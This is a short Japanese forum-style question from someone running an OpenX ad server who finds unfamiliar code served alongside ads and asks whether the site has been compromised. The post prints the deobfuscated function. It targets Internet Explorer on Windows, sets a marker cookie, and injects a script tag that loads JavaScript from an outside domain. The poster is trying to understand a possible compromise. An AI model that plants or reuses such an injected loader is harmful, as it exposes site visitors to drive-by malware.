サイトで OpenX 広告サーバーを実行していますが、最近、広告と共に奇妙なコードが表示されていることに気付きました。それが OpenX コードの一部なのか、それともアプリケーションが何らかの形で侵害されたのかはわかりません。おそらく、JavaScriptの知識がある人がこれを説明してくれるでしょう。これはコードです：

難読化されたコードが評価されると、この関数が定義されて実行されます。

function anonymous() {
    d=document;ua=navigator.userAgent;
    if(d._zx===undefined && d.cookie.search('_utmud=')==-1 && ua.search('Windows NT ')>0 && ua.search('MSIE ')>0) {
        d._zx=1;d.cookie='__utmud=1; expires=Wed, 01 Jan 2020 00:00:00 UTC; path=/';
        d.writeln("<scr"+"ipt src='http://galeto.eu/5d6206dd.js?cp=www.domain.com'></scri"+"pt>");
    }
}

基本的に、Cookie を設定し、追加の JavaScript ファイルを読み込みます。
